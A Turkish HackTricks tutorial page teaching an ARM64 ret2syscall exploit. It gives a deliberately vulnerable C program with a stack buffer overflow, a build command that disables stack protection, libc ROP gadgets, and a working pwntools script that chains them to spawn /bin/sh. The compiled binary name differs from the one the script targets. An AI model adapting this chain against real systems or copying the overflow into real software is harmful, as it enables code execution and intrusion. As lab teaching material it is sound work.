AWS hackleme konusunda sıfırdan kahramana kadar öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ! HackTricks'ı desteklemenin diğer yolları:
Şirketinizi HackTricks'te reklamını görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız [ABONELİK PLANLARI ]'na göz atın(https://github.com/sponsors/carlospolop)!
Copy #include <stdio.h>
#include <unistd.h>
void win () {
printf( "Congratulations!\n" ) ;
}
void vulnerable_function () {
char buffer[ 64 ];
read(STDIN_FILENO , buffer , 256 ) ; // <-- bof vulnerability
}
int main () {
vulnerable_function() ;
return 0 ;
}
Copy clang -o ret2win ret2win.c -fno-stack-protector
ROPgadget.py kullanarak makinenin libc kütüphanesinde aşağıdaki gadget'ları bulmayı başardım:
Copy ;Load x0, x1 and x3 from stack and x5 and call x5
0x0000000000114c30:
ldp x3, x0, [sp, #8] ;
ldp x1, x4, [sp, #0x18] ;
ldr x5, [sp, #0x58] ;
ldr x2, [sp, #0xe0] ;
blr x5
;Move execve syscall (0xdd) to x8 and call it
0x00000000000bb97c :
nop ;
nop ;
mov x8, #0xdd ;
svc #0
Önceki araçlarla yığın üzerinden gerekli tüm kayıtları kontrol edebilir ve x5'i ikinci araca atlamak için kullanarak sistem çağrısını yapabiliriz.
Copy from pwn import *
p = process ( './ret2syscall' )
elf = context . binary = ELF ( './ret2syscall' )
libc = ELF ( "/usr/lib/aarch64-linux-gnu/libc.so.6" )
libc . address = 0x 0000fffff7df0000 # ASLR disabled
binsh = next (libc. search ( b "/bin/sh" ))
stack_offset = 72
#0x0000000000114c2c : bl #0x133070 ; ldp x3, x0, [sp, #8] ; ldp x1, x4, [sp, #0x18] ; ldr x5, [sp, #0x58] ; ldr x2, [sp, #0xe0] ; blr x5
load_x0_x1_x2 = libc.address + 0x114c30 # ldp x3, x0, [sp, #8] ; ldp x1, x4, [sp, #0x18] ; ldr x5, [sp, #0x58] ; ldr x2, [sp, #0xe0] ; blr x5
# 0x00000000000bb97c : nop ; nop ; mov x8, #0xdd ; svc #0
call_execve = libc . address + 0x bb97c
print ( "/bin/sh in: " + hex (binsh))
print ( "load_x0_x1_x2 in: " + hex (load_x0_x1_x2))
print ( "call_execve in: " + hex (call_execve))
# stack offset
bof = b "A" * (stack_offset)
bof += p64 (load_x0_x1_x2)
# ldp x3, x0, [sp, #8]
rop = b "BBBBBBBBBBBBBBBB" #x3
rop += p64 (binsh) #x0
# ldp x1, x4, [sp, #0x18]
rop += b "C" * ( 0x 18 - len (rop) )
rop += p64 ( 0x 00 ) # x1
rop += b "CCCCCCCC" #x4
# ldr x5, [sp, #0x58]
rop += b "D" * ( 0x 58 - len (rop) )
rop += p64 (call_execve) # x5
# ldr x2, [sp, #0xe0]
rop += b "E" * ( 0x e0 - len (rop) )
rop += p64 ( 0x 00 ) # x2
payload = bof + rop
p . sendline (payload)
p . interactive ()
Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert) ! HackTricks'ı desteklemenin diğer yolları:
Şirketinizi HackTricks'te reklamını görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız ABONELİK PLANLARI 'na göz atın!
Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks ](https://github.com/carlospolop/hacktricks) ve HackTricks Cloud github depolarına katkıda bulunun.